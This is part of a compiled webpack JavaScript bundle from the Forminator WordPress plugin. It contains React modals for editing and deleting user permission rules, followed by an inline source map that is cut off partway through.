updateProperty: this.updateProperty,
property: 'manage_forminator_settings',
label: (0, _utils.translate)('Settings'),
itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
})),
_react2.default.createElement(
'span',
{ className: 'sui-description permission-description' },
(0, _utils.translate)('Access and configure plugin settings.')
)
)
)
)
),
_react2.default.createElement(
_footer2.default,
{
alignment: 'separated'
},
_react2.default.createElement(_close2.default, {
label: (0, _utils.translate)('Cancel'),
closeModal: this.closeModal,
color: 'ghost'
}),
_react2.default.createElement(
'div',
{ className: 'btn-save-wrap', 'data-tooltip': this.validator().validationError },
_react2.default.createElement(
'button',
{
className: 'sui-button sui-button-blue forminator-save-field-settings',
'data-tooltip': this.validator().validationError,
onClick: this.savePermission,
ref: this.saveBtn
},
_react2.default.createElement(
'span',
{ className: 'sui-loading-text' },
saveBtn
),
_react2.default.createElement('i', { className: 'sui-icon-loader sui-loading', 'aria-hidden': 'true' })
)
)
)
);
}
}]);
return permissionsModal;
}(_react.Component);
exports.default = permissionsModal;
/***/ }),
/* 826 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _axios = __webpack_require__(39);
var _axios2 = _interopRequireDefault(_axios);
var _qs = __webpack_require__(40);
var _qs2 = _interopRequireDefault(_qs);
var _utils = __webpack_require__(1);
var _notifications = __webpack_require__(30);
var _notifications2 = _interopRequireDefault(_notifications);
var _header = __webpack_require__(64);
var _header2 = _interopRequireDefault(_header);
var _title = __webpack_require__(66);
var _title2 = _interopRequireDefault(_title);
var _footer = __webpack_require__(87);
var _footer2 = _interopRequireDefault(_footer);
var _close = __webpack_require__(65);
var _close2 = _interopRequireDefault(_close);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var permissionDeleteModal = function (_Component) {
_inherits(permissionDeleteModal, _Component);
function permissionDeleteModal(props) {
_classCallCheck(this, permissionDeleteModal);
var _this = _possibleConstructorReturn(this, (permissionDeleteModal.__proto__ || Object.getPrototypeOf(permissionDeleteModal)).call(this, props));
_this.closeModal = _this.props.modal.modalProps.closeModal.bind(_this);
_this.deletePermission = _this.deletePermission.bind(_this);
_this.showNotification = _this.showNotification.bind(_this);
_this.userRoles = Object.assign({}, forminatorData.userRoles);
_this.modalData = Object.assign({}, _this.props.modal.modalProps);
return _this;
}
_createClass(permissionDeleteModal, [{
key: 'showNotification',
value: function showNotification(type, msg) {
var custom = new _notifications2.default({
type: type,
text: 'error' === type ? (0, _utils.translate)('Something went wrong. Please try again.') : msg
});
custom.open();
if ('error' === type) {
console.log(msg);
}
this.closeModal();
}
}, {
key: 'deletePermission',
value: function deletePermission() {
var _this2 = this;
var permissions = this.props.permissions;
permissions = permissions.filter(function (permission) {
return permission.pid !== _this2.modalData.pid;
});
var permissionData = {
action: 'forminator_save_permissions',
_wpnonce: forminatorData.permission_nonce,
mode: 'delete',
pid: this.modalData.pid,
permissions: JSON.stringify(permissions)
};
_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(permissionData)).then(function (res) {
if (res.data.success) {
_this2.props.actions.permissionActions.updatePermissions(permissions);
_this2.showNotification('success', (0, _utils.translate)('Permission successfully deleted.'));
} else {
_this2.showNotification('error', res.data.data);
}
}).catch(function (err) {
_this2.showNotification('error', err);
});
}
}, {
key: 'render',
value: function render() {
var description = '';
var permissionType = !_.isUndefined(this.modalData.permission_type) ? this.modalData.permission_type : 'role';
if ('role' === permissionType) {
description = (0, _utils.translate)('Are you sure you wish to delete the permissions rule for the {{b}}%(role)s{{/b}} user role?', {
args: {
role: this.userRoles[this.modalData.user_role].name
},
components: {
b: _react2.default.createElement('b', null)
}
});
} else {
var descriptionPretext = (0, _utils.translate)('Are you sure you wish to delete the permissions for {{b}}%(firstName)s{{/b}} ', {
args: {
firstName: this.modalData.user_info[this.modalData.specific_user[0]].name
},
components: {
b: _react2.default.createElement('b', null)
}
});
if (this.modalData.specific_user.length > 1) {
description = descriptionPretext.concat((0, _utils.translate)('and %(extra)s other user(s)?', {
args: {
extra: this.modalData.specific_user.length - 1
}
}));
} else {
description = descriptionPretext.concat('(' + this.modalData.user_info[this.modalData.specific_user[0]].email + ')?');
}
}
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_header2.default,
{
flatten: true,
alignment: 'center',
closeModal: this.closeModal,
closeType: 'icon',
customClass: 'sui-spacing-top--60'
},
_react2.default.createElement(_title2.default, {
id: 'forminator-delete-permission-modal__title' // Missing id.
, label: (0, _utils.translate)('Delete Permissions'),
size: 'lg'
}),
_react2.default.createElement(
'p',
{ className: 'sui-description' },
description
)
),
_react2.default.createElement(
_footer2.default,
{
customClass: 'sui-flatten sui-content-center'
},
_react2.default.createElement(_close2.default, {
label: (0, _utils.translate)('Cancel'),
closeModal: this.closeModal,
customClass: 'sui-button-ghost'
}),
_react2.default.createElement(
'button',
{
className: 'sui-button sui-button-ghost sui-button-red permission-delete-button',
onClick: this.deletePermission
},
_react2.default.createElement(
'span',
{ className: 'sui-loading-text' },
_react2.default.createElement('i', { className: 'sui-icon-trash', 'aria-hidden': 'true' }),
(0, _utils.translate)('Delete')
),
_react2.default.createElement('i', { className: 'sui-icon-loader sui-loading', 'aria-hidden': 'true' })
)
)
);
}
}]);
return permissionDeleteModal;
}(_react.Component);
exports.default = permissionDeleteModal;
/***/ })
/******/ ]);
//# sourceMappingURL=data:application/json;charset=utf-8;base64,{"version":3,"sources":["webpack:///webpack/bootstrap b945c7c4a6b66c990533","webpack:///external \"React\"","webpack:///./src/utils.js","webpack:///./node_modules/process/browser.js","webpack:///./src/settings/inputs/input.js","webpack:///./src/settings/containers/container.js","webpack:///./src/settings/containers/col.js","webpack:///./src/settings/inputs/color-picker.js","webpack:///./src/settings/inputs/radio-tabs.js","webpack:///./src/settings/containers/row.js","webpack:///./node_modules/prop-types/index.js","webpack:///./src/settings/containers/tabs.js","webpack:///./node_modules/redux/es/redux.js","webpack:///./src/settings/containers/empty.js","webpack:///./node_modules/react-redux/es/index.js","webpack:///./node_modules/axios/lib/utils.js","webpack:///./node_modules/invariant/browser.js","webpack:///./src/settings/containers/settings-row.js","webpack:///./src/settings/inputs/sui-select2.js","webpack:///./node_modules/warning/warning.js","webpack:///./src/settings/inputs/sui-select.js","webpack:///external \"ReactDOM\"","webpack:///./node_modules/history/es/index.js","webpack:///./src/settings/inputs/toggle.js","webpack:///./node_modules/react-router-dom/es/index.js","webpack:///./node_modules/history/es/PathUtils.js","webpack:///./src/notifications.js","webpack:///./node_modules/history/node_modules/warning/browser.js","webpack:///./node_modules/history/es/LocationUtils.js","webpack:///./src/settings/containers/accordion.js","webpack:///./node_modules/hash.js/lib/hash/utils.js","webpack:///./node_modules/axios/index.js","webpack:///./node_modules/qs/lib/index.js","webpack:///./src/settings/inputs/checkbox.js","webpack:///(webpack)/buildin/global.js","webpack:///./node_modules/prop-types/lib/ReactPropTypesSecret.js","webpack:///./node_modules/react-redux/es/utils/warning.js","webpack:///./node_modules/history/es/createTransitionManager.js","webpack:///./node_modules/react-router-dom/es/Router.js","webpack:///./node_modules/react-router/es/Router.js","webpack:///./node_modules/react-router/es/matchPath.js","webpack:///./node_modules/axios/lib/defaults.js","webpack:///./node_modules/i18n-wp-plugin/index.js","webpack:///./node_modules/minimalistic-assert/index.js","webpack:///./node_modules/inherits/inherits_browser.js","webpack:///./node_modules/events/events.js","webpack:///./node_modules/fbjs/lib/emptyFunction.js","webpack:///./node_modules/fbjs/lib/invariant.js","webpack:///./node_modules/fbjs/lib/warning.js","webpack:///./node_modules/lodash.assign/index.js","webpack:///./node_modules/object-assign/index.js","webpack:///./src/form/components/modals/partials/header.js","webpack:///./src/form/components/modals/partials/close.js","webpack:///./src/form/components/modals/partials/title.js","webpack:///./node_modules/react-redux/es/utils/PropTypes.js","webpack:///./node_modules/react-redux/es/components/connectAdvanced.js","webpack:///./node_modules/hoist-non-react-statics/dist/hoist-non-react-statics.cjs.js","webpack:///./node_modules/react-redux/es/connect/wrapMapToProps.js","webpack:///./node_modules/react-redux/es/utils/verifyPlainObject.js","webpack:///./node_modules/lodash-es/_Symbol.js","webpack:///./node_modules/history/es/DOMUtils.js","webpack:///./node_modules/react-router-dom/es/Link.js","webpack:///./node_modules/react-router-dom/es/Route.js","webpack:///./node_modules/react-router/es/Route.js","webpack:///./node_modules/path-to-regexp/index.js","webpack:///./node_modules/react-router/es/generatePath.js","webpack:///./node_modules/axios/lib/helpers/bind.js","webpack:///./node_modules/axios/lib/adapters/xhr.js","webpack:///./node_modules/axios/lib/core/createError.js","webpack:///./node_modules/axios/lib/cancel/isCancel.js","webpack:///./node_modules/axios/lib/cancel/Cancel.js","webpack:///./node_modules/qs/lib/utils.js","webpack:///./node_modules/qs/lib/formats.js","webpack:///./src/form/components/modals/partials/footer.js","webpack:///./src/renderBlock.js","webpack:///./node_modules/react-dom/client.js","webpack:///./node_modules/semver/semver.js","webpack:///./node_modules/i18n-wp-plugin/lib/index.js","webpack:///./node_modules/i18n-wp-plugin/node_modules/debug/src/browser.js","webpack:///./node_modules/i18n-wp-plugin/node_modules/debug/src/debug.js","webpack:///./node_modules/ms/index.js","webpack:///./node_modules/jed/jed.js","webpack:///./node_modules/hash.js/lib/hash/sha/1.js","webpack:///./node_modules/hash.js/lib/hash/common.js","webpack:///./node_modules/hash.js/lib/hash/sha/common.js","webpack:///./node_modules/interpolate-components/lib/index.js","webpack:///./node_modules/react-addons-create-fragment/index.js","webpack:///./node_modules/interpolate-components/lib/tokenize.js","webpack:///./node_modules/lru/index.js","webpack:///./node_modules/i18n-wp-plugin/lib/number-format.js","webpack:///./node_modules/i18n-wp-plugin/lib/localize/index.js","webpack:///./node_modules/create-react-class/index.js","webpack:///./node_modules/create-react-class/factory.js","webpack:///./node_modules/fbjs/lib/emptyObject.js","webpack:///./src/form/actions/settings.js","webpack:///./node_modules/redux-thunk/es/index.js","webpack:///./node_modules/react-redux/es/components/Provider.js","webpack:///./node_modules/prop-types/factoryWithTypeCheckers.js","webpack:///./node_modules/prop-types/checkPropTypes.js","webpack:///./node_modules/prop-types/factoryWithThrowingShims.js","webpack:///./node_modules/react-redux/es/utils/Subscription.js","webpack:///./node_modules/react-redux/es/connect/connect.js","webpack:///./node_modules/react-redux/es/utils/shallowEqual.js","webpack:///./node_modules/react-redux/es/connect/mapDispatchToProps.js","webpack:///./node_modules/symbol-observable/es/index.js","webpack:///(webpack)/buildin/harmony-module.js","webpack:///./node_modules/symbol-observable/es/ponyfill.js","webpack:///./node_modules/lodash-es/isPlainObject.js","webpack:///./node_modules/lodash-es/_baseGetTag.js","webpack:///./node_modules/lodash-es/_root.js","webpack:///./node_modules/lodash-es/_freeGlobal.js","webpack:///./node_modules/lodash-es/_getRawTag.js","webpack:///./node_modules/lodash-es/_objectToString.js","webpack:///./node_modules/lodash-es/_getPrototype.js","webpack:///./node_modules/lodash-es/_overArg.js","webpack:///./node_modules/lodash-es/isObjectLike.js","webpack:///./node_modules/react-redux/es/connect/mapStateToProps.js","webpack:///./node_modules/react-redux/es/connect/mergeProps.js","webpack:///./node_modules/react-redux/es/connect/selectorFactory.js","webpack:///./node_modules/react-redux/es/connect/verifySubselectors.js","webpack:///./node_modules/react-router-dom/es/BrowserRouter.js","webpack:///./node_modules/history/es/createBrowserHistory.js","webpack:///./node_modules/resolve-pathname/index.js","webpack:///./node_modules/value-equal/index.js","webpack:///./node_modules/history/es/createHashHistory.js","webpack:///./node_modules/history/es/createMemoryHistory.js","webpack:///./node_modules/react-router-dom/es/HashRouter.js","webpack:///./node_modules/react-router-dom/es/MemoryRouter.js","webpack:///./node_modules/react-router/es/MemoryRouter.js","webpack:///./node_modules/react-router-dom/es/NavLink.js","webpack:///./node_modules/isarray/index.js","webpack:///./node_modules/react-router-dom/es/Prompt.js","webpack:///./node_modules/react-router/es/Prompt.js","webpack:///./node_modules/react-router-dom/es/Redirect.js","webpack:///./node_modules/react-router/es/Redirect.js","webpack:///./node_modules/react-router-dom/es/StaticRouter.js","webpack:///./node_modules/react-router/es/StaticRouter.js","webpack:///./node_modules/react-router-dom/es/Switch.js","webpack:///./node_modules/react-router/es/Switch.js","webpack:///./node_modules/react-router-dom/es/generatePath.js","webpack:///./node_modules/react-router-dom/es/matchPath.js","webpack:///./node_modules/react-router-dom/es/withRouter.js","webpack:///./node_modules/react-router/es/withRouter.js","webpack:///./node_modules/axios/lib/axios.js","webpack:///./node_modules/is-buffer/index.js","webpack:///./node_modules/axios/lib/core/Axios.js","webpack:///./node_modules/axios/lib/helpers/normalizeHeaderName.js","webpack:///./node_modules/axios/lib/core/settle.js","webpack:///./node_modules/axios/lib/core/enhanceError.js","webpack:///./node_modules/axios/lib/helpers/buildURL.js","webpack:///./node_modules/axios/lib/helpers/parseHeaders.js","webpack:///./node_modules/axios/lib/helpers/isURLSameOrigin.js","webpack:///./node_modules/axios/lib/helpers/btoa.js","webpack:///./node_modules/axios/lib/helpers/cookies.js","webpack:///./node_modules/axios/lib/core/InterceptorManager.js","webpack:///./node_modules/axios/lib/core/dispatchRequest.js","webpack:///./node_modules/axios/lib/core/transformData.js","webpack:///./node_modules/axios/lib/helpers/isAbsoluteURL.js","webpack:///./node_modules/axios/lib/helpers/combineURLs.js","webpack:///./node_modules/axios/lib/cancel/CancelToken.js","webpack:///./node_modules/axios/lib/helpers/spread.js","webpack:///./node_modules/qs/lib/stringify.js","webpack:///./node_modules/qs/lib/parse.js","webpack:///./node_modules/react-displace/dist/displace.js","webpack:///./src/settings/inputs/ace-editor.js","webpack:///./src/form/store/configureStore.js","webpack:///./src/form/reducers/index.js","webpack:///./src/form/reducers/wrappers.js","webpack:///./src/form/reducers/settings.js","webpack:///./src/form/reducers/modal.js","webpack:///./src/global/reducers/integrations.js","webpack:///./src/global/reducers/behaviors.js","webpack:///./src/form/reducers/notifications.js","webpack:///./src/form/reducers/pdfs.js","webpack:///./src/form/components/modals/partials/image.js","webpack:///./src/form/components/appearance/design.js","webpack:///./src/form/components/appearance/design/default.js","webpack:///./src/form/components/appearance/design/flat.js","webpack:///./src/form/components/appearance/design/bold.js","webpack:///./src/form/components/appearance/design/material.js","webpack:///./src/form/components/appearance/design/basic.js","webpack:///./src/form/components/appearance/design/none.js","webpack:///./src/form/components/appearance/colors.js","webpack:///./src/form/components/appearance/colors/form-container.js","webpack:///./src/form/components/appearance/colors/fields-basics.js","webpack:///./src/form/components/appearance/colors/response-loading.js","webpack:///./src/form/components/appearance/colors/response-error.js","webpack:///./src/form/components/appearance/colors/response-success.js","webpack:///./src/form/components/appearance/colors/section.js","webpack:///./src/form/components/appearance/colors/inputs.js","webpack:///./src/form/components/appearance/colors/inputs-extra.js","webpack:///./src/form/components/appearance/colors/radio.js","webpack:///./src/form/components/appearance/colors/consent.js","webpack:///./src/form/components/appearance/colors/select.js","webpack:///./src/form/components/appearance/colors/dropdown.js","webpack:///./src/form/components/appearance/colors/dropdown-search.js","webpack:///./src/form/components/appearance/colors/multi-select.js","webpack:///./src/form/components/appearance/colors/calendar-basics.js","webpack:///./src/form/components/appearance/colors/signature.js","webpack:///./src/form/components/appearance/colors/group.js","webpack:///./src/form/components/appearance/colors/repeater.js","webpack:///./src/form/components/appearance/colors/calendar-table.js","webpack:///./src/form/components/appearance/colors/pagination-steps.js","webpack:///./src/form/components/appearance/colors/pagination-progress.js","webpack:///./src/form/components/appearance/colors/pagination-back.js","webpack:///./src/form/components/appearance/colors/pagination-next.js","webpack:///./src/form/components/appearance/colors/submit.js","webpack:///./src/form/components/appearance/colors/uploaded-files.js","webpack:///./src/form/components/appearance/colors/file-upload/upload-panel-single.js","webpack:///./src/form/components/appearance/colors/file-upload/upload-panel-multiple.js","webpack:///./src/form/components/appearance/colors/file-upload/upload-file-multiple.js","webpack:///./src/form/components/appearance/colors/file-upload/upload-file-delete.js","webpack:///./src/form/components/appearance/fonts.js","webpack:///./src/form/components/settings/fonts.js","webpack:///./src/form/components/appearance/form-container.js","webpack:///./src/form/components/appearance/form-container/padding-custom.js","webpack:///./src/form/components/appearance/form-container/border-custom.js","webpack:///./src/form/components/appearance/form-container/spacing-custom.js","webpack:///./src/form/components/appearance/custom-css.js","webpack:///./src/form/components/appearance/page-settings.js","webpack:///./src/form/components/appearance/pdf/page-margin.js","webpack:///./src/settings/inputs/sui-tags.js","webpack:///./src/settings-page/actions/modal.js","webpack:///./src/settings-page/actions/permissions.js","webpack:///./src/settings-page/index.js","webpack:///./src/settings-page/appearance-presets.js","webpack:///./src/settings-page/permissions.js","webpack:///./src/settings-page/store/configureStore.js","webpack:///./src/settings-page/reducers/index.js","webpack:///./src/settings-page/reducers/permissions.js","webpack:///./src/settings-page/reducers/modal.js","webpack:///./src/settings-page/containers/main.js","webpack:///./src/settings-page/containers/permissions.js","webpack:///./src/settings-page/components/permissions.js","webpack:///./src/settings-page/global/header.js","webpack:///./src/settings-page/global/footer.js","webpack:///./src/settings-page/components/permissions/permissions-table.js","webpack:///./src/settings-page/components/permissions/permission-item.js","webpack:///./src/settings-page/components/permissions/permission-icon.js","webpack:///./src/settings-page/containers/modal.js","webpack:///./src/settings-page/components/modal.js","webpack:///./src/settings-page/components/modals/index.js","webpack:///./src/settings-page/components/modals/permissions.js","webpack:///./src/settings-page/components/modals/permission-delete.js"],"names":["randNumber","generateWrapperId","getWrapper","getDefaultValue","getThemePrefix","restrictedGroupFields","lonerFields","getSubmissionBehaviors","countFieldsByType","getMaxIDByType","getMaxID","generateValue","hasFieldType","getFieldsByType","mapFieldsByType","getFieldLabel","fieldExist","buildFieldObject","buildFieldObjectFromSlug","getFieldType","getForminatorField","insertInPosition","replaceInPosition","translate","getFontVariants","ucfirst","getConditionLabel","convertTimestamp","getFields","getDateFields","getNameFields","getRangeSliderFields","fieldHasNumber","fieldHasCalcs","fieldFormula","fieldHasOptions","getFieldValues","getAddressFields","getTimeFields","getFieldAutofillProviders","getRuleLabel","isEmailWp","suiDelegateEvents","getChartType","getCalculationFields","select2Tags","isFieldRequired","hasFieldWithAttribute","hasPostdataFieldWithMultiselect","getPersonalityQuestions","getPlanValidation","isTrue","parseQueryString","goToLink","min","Math","ceil","max","floor","random","wrapperID","wrappers","wrapperObject","map","wrapper","wrapper_id","props","getThemeName","formDesign","settings","quizDesign","type","counter","fields","field","fieldIDs","fieldId","element_id","fieldIdArray","split","push","parseInt","maxValue","_","isEmpty","values","ids","value","trim","replace","isGlobalPreset","fieldsByType","label","field_label","id","exist","cols","tempNewFields","wraps","fieldNumber","extend","formID","slug","forminatorData","find","fieldData","options","conditions","contains","JSON","parse","stringify","defaults","forminatorField","array","position","replacement","slice","i18n","apply","arguments","fonts","fontObject","filter","font","family","isUndefined","variants","charAt","toUpperCase","condition","valueLabel","hasOptions","length","where","field_type","includes","rule","isNaN","Number","date","Date","day","month","year","toLocaleDateString","disabledFields","extra","includedFields","excludeSubFields","fieldsArray","Array","isArray","main_date_field","parentGroup","parent_group","concat","slider_type","required","field_slug","hasCalcs","formula","isNumber","fieldLabel","day_label","month_label","year_label","multiple_name","attr","element_suffix","attribute","suffix","calculations","hh_label","mm_label","time_type","fieldType","autofillProviders","fieldSettings","autofill_settings","val","indexOf","parts","match","domain","subs","subsLen","i","window","SUI","setTimeout","suiAccordion","jQuery","suiTabs","each","select","initIcon","initColor","initSearch","init","initVars","loadCircleScore","showHidePassword","disabled","$el","allowClear","dropdownCssClass","on","e","elm","params","data","element","$elm","$t","append","trigger","SUIselect2","post_category","postCategories","post_type","category_key","category","currentPersonality","questions","personalitySlug","questionsArray","question","keyQuestion","answers","answer","keyAnswer","result","title","uniq","validation","payments","paymentIndex","payment","index","amount_type","plan_name","error","isValid","payment_method","amount","variable","subscriptionAmount","subscription_amount_type","subscriptionQuantity","quantity_type","Quantity","quantity","BillInput","bill_input","subscription_amount","subscription_variable","variable_quantity","paymentKey","toLowerCase","parsedParameters","uriParameters","location","search","substring","parameter","decodeURIComponent","link","target","open","Input","updateValue","bind","updateProperty","property","actions","settingsActions","updateSetting","isRequired","isPositive","defaultValue","requiredError","hasErrorClass","fieldClass","inputClass","prefix","inputId","inputLabel","darkLabel","note","inputField","placeholder","notWritable","readonly","minValue","step","maxLength","inputStyles","style","canTrash","description","simple","Component","Container","children","React","Children","child","Col","customClass","ColorPicker","el","wpColorPicker","change","event","ui","$this","color","toCSS","palettes","$suiPickerInput","$suiPicker","closest","$suiPickerColor","$suiPickerValue","$suiPickerClear","$wpPicker","$wpPickerButton","$wpPickerAlpha","$wpPickerClear","$pickerBackground","css","preventDefault","stopPropagation","click","off","unbind","removeData","isAlpha","backgroundColor","RadioTabs","default","tabTitles","tab","opacity","cursor","toggleValue","contentClass","divClass","tabContents","boxClass","name","tabsLabel","settingsLabel","labelClass","marginBottom","wrapperClass","basicTabs","tabsMarkup","Row","columns","class","Tabs","state","active","setState","extraClass","isNull","boxClassValue","Empty","SettingsRow","content","labelDark","descriptionSpacing","sidebar","conditionalStyles","lastChild","borderBottom","SuiSelect2","afterSave","parent","parentId","hasSearch","Object","assign","dropdownParent","minimumResultsForSearch","hasClass","width","FUIselect2","Error","triggerChange","selectId","elementId","multiple","formType","noWrapper","staticContext","fieldSize","selectProps","getSelect","getElement","fieldsize","maxWidth","marginTop","SuiSelect","selectClass","elementClass","selectLabel","selectField","getField","Toggle","checked","toggleContent","subToggle","unWrap","Notification","prepend","remove","initialize","$notification","noticeId","noticeMessage","text","noticeOptions","autoclose","timeout","time","dismiss","show","openNotice","closeNotice","Accordion","expanded","toggleState","boxedContent","defaultContentRender","accordionContents","Checkbox","itemClass","tooltip","marginLeft","verticalAlign","pointerEvents","ModalHeader","closeModal","alignment","flatten","hasClose","canClose","closeType","closeColor","hasImage","imageName","isLogo","imageLogo","hasAlt","imageAlt","elClass","markup","ModalClose","isIcon","isHidden","sronly","hasIcon","icon","floatsLeft","float","floatsRight","hasCustomClass","ModalTitle","titleId","titleLabel","titleTag","tag","titleTagColor","tagColor","titleClass","size","ModalFooter","footerChildren","renderBlock","containerId","container","document","getElementById","semver","gte","version","root","render","setting","forminatorChanges","dispatch","updateSettings","resetSettings","saveBuilder","saved","AceEditor","insertSelector","editor","ace","edit","session","getSession","setUseWorker","setShowPrintMargin","setMode","setTheme","renderer","setShowGutter","setHighlightActiveLine","focus","destroy","selector","navigateFileEnd","insert","navigateLeft","getValue","basicSelectors","pollSelectors","quizSelectors","pdfSelectors","height","configureStore","newCreateStore","thunk","createStore","initialState","appReducers","modal","integrationConditions","behaviorArray","notifications","pdfs","updateField","action","wrapperIndex","findIndex","wrap","updateTitle","formName","newState","modalType","modalProps","behaviors","updateBehaviorArray","behavior","behaviorIndex","notify","updateNotification","notification","notificationIndex","ModalImage","image","filename","getclass","getalt","logo","alt","imagesUrl","DesignStyle","designDefault","designFlat","designBold","designMaterial","DesignBasic","designNone","display","Colors","loadFonts","forminatorFonts","isObject","_wpnonce","gFontNonce","axios","post","ajaxUrl","qs","then","response","catch","err","console","log","hasPagination","hasSection","hasSingleRadio","hasSingleDropdown","hasMultiCheckbox","hasMultiSelect","hasDatePicker","hasESign","hasGroup","hasDateDropdown","hasTimeDropdown","hasAddresCountry","hasNamePrefix","hasGDPR","hasFileUpload","hasCurrency","hasStripe","hasCalculation","hasConsent","postdata_multiple","isPreset","preset","hasIndicator","hasIndicatorEnabled","hasPaginationHeader","paginationData","paginationHeader","BasicColors","GlobalColors","ResponseLoadingColors","ResponseErrorColors","ResponseSuccessColors","SectionColors","InputsColors","InputExtraColors","RadioColors","ConsentColors","SelectColors","DropdownColors","SearchColors","MultiSelectColors","CalendarColors","Signature","GroupColors","RepeaterColors","StepsColors","ProgressColors","BackColors","NextColors","SubmitColors","UploadedFilesColors","hasSingleUpload","hasMultiUpload","SingleUploadPanelColors","MultiUploadPanelColors","MultiUploadFileColors","FileDeleteButtonColors","Fonts","components","SuFontSettingsiSelect","variant","prefixTheme","defaultFont","fcus","defaultCustom","defaultWeight","defaultSize","fontVariants","backwardsCompat","fontData","familyOnly","fontVariant","FormContainer","paddingCustom","borderCustom","spacingCustom","CustomCss","PageSettings","pdf_page_sizes","key","pageMargin","SuiTags","handleChange","self","permission_type","user_info","userInfos","option","email","prevProps","prevState","user_role","showModal","hideModal","updatePermissions","permissions","presetId","currentPreset","store","setLocale","forminatorl10n","locale","jQueryFormi","noConflict","mapStateToProps","mapDispatchToProps","handleBeforeunload","returnValue","saveAppearancePreset","$target","addClass","object","presetNonce","success","setHasUpdated","custom","removeClass","changePreset","currentTarget","div_preloader","html","Forminator","openPreset","deletePreset","preset_id","ajax","url","Data","Appearance","useState","hasUpdated","save","useEffect","addEventListener","fontStyle","first","AppearanceContainer","mainSettings","Main","goToSectionFromUrl","removeEventListener","goToSection","gotosection","theUrl","href","history","replaceState","modalActions","permissionActions","Permissions","tooltipWidth","Header","prop","Footer","new","PermissionsTable","node","refs","StickyHeader","currentOffset","getBoundingClientRect","top","stickyOffset","getComputedStyle","isStuck","classList","add","permission","PermissionItem","permissionMenu","createRef","deleteModal","$permission","current","not","toggleClass","count","accordionTimeout","userIds","specific_user","currentUser","isAdmin","accessList","roleImage","roleName","roleDesc","itemName","countExcluded","exclude_users","userRoles","users","tooltipText","avatar","info","userId","access","x","PermissionIcon","Modal","MODAL_TYPES","modalTypes","permissionsModal","permissionDelete","permissionDeleteModal","modalElement","ReactDOM","findDOMNode","focusAfterClosed","activeElement","focusFirst","setFocus","hideModalTimeout","setAttribute","forceUpdate","removeAttribute","focusInterval","focusTotalRepetitions","blur","focusRepetitions","interval","setInterval","clearInterval","clearTimeout","modalClass","overlayClass","SpecifiedModal","smModalType","classes","join","labelledBy","describedBy","DisplacedModal","renderTo","input","module","exports","saveBtn","savePermission","validator","showNotification","updated","modalData","getUserRoles","defaultRole","keys","defaultType","pid","manage_forminator_modules","manage_forminator_submissions","manage_forminator_addons","manage_forminator_integrations","manage_forminator_reports","manage_forminator_settings","current_user","$saveBtn","forEach","role","p","$property","searchData","args","searchNonce","exclude_admins","q","term","is_permission","tags","minimumInputLength","tokenSeparators","language","searching","noResults","delay","processResults","results","cache","templateResult","display_name","createTag","msg","permissionsData","permission_nonce","mode","currentPermission","splice","notifType","notifMessage","validationError","isTypeValid","isAccessValid","editNotice","isNew","modalTitle","permissionType","b","numUsers","userName","userEmail","getUserTagsOptions","deletePermission","permissionData","res","descriptionPretext","firstName"],"mappings":";AAAA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;AAEA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;;;AAGA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,aAAK;AACL;AACA;;AAEA;AACA;AACA;AACA,mCAA2B,0BAA0B,EAAE;AACvD,yCAAiC,eAAe;AAChD;AACA;AACA;;AAEA;AACA,8DAAsD,+DAA+D;;AAErH;AACA;;AAEA;AACA;;;;;;;AC7DA,uB;;;;;;;;;;;;;;;QCMgBA,U,GAAAA,U;QAYAC,iB,GAAAA,iB;QAYAC,U,GAAAA,U;QAmBAC,e,GAAAA,e;QAUAC,c,GAAAA,c;QA6BAC,qB,GAAAA,qB;QAUAC,W,GAAAA,W;QASAC,sB,GAAAA,sB;QAgBAC,iB,GAAAA,iB;QAsBAC,c,GAAAA,c;QAkCAC,Q,GAAAA,Q;QA0BAC,a,GAAAA,a;QAwBAC,Y,GAAAA,Y;QA0BAC,e,GAAAA,e;QAsBAC,e,GAAAA,e;QA4BAC,a,GAAAA,a;QAoBAC,U,GAAAA,U;QAyBAC,gB,GAAAA,gB;QAqBAC,wB,GAAAA,wB;QAiCAC,Y,GAAAA,Y;QAeAC,kB,GAAAA,kB;QAaAC,gB,GAAAA,gB;QAaAC,iB,GAAAA,iB;QAWAC,S,GAAAA,S;QAYAC,e,GAAAA,e;QAkBAC,O,GAAAA,O;QASAC,iB,GAAAA,iB;QAyCAC,gB,GAAAA,gB;QAkBAC,S,GAAAA,S;QAkFAC,a,GAAAA,a;QA0GAC,a,GAAAA,a;QA0FAC,oB,GAAAA,oB;QA4BAC,c,GAAAA,c;QAWAC,a,GAAAA,a;QAQAC,Y,GAAAA,Y;QAWAC,e,GAAAA,e;QAWAC,c,GAAAA,c;QAgBAC,gB,GAAAA,gB;QAoFAC,a,GAAAA,a;QAgEAC,yB,GAAAA,yB;QA0BAC,Y,GAAAA,Y;QAyDAC,S,GAAAA,S;QA6CAC,iB,GAAAA,iB;QAkDAC,Y,GAAAA,Y;QAmBAC,oB,GAAAA,oB;QAmBAC,W,GAAAA,W;QA6BAC,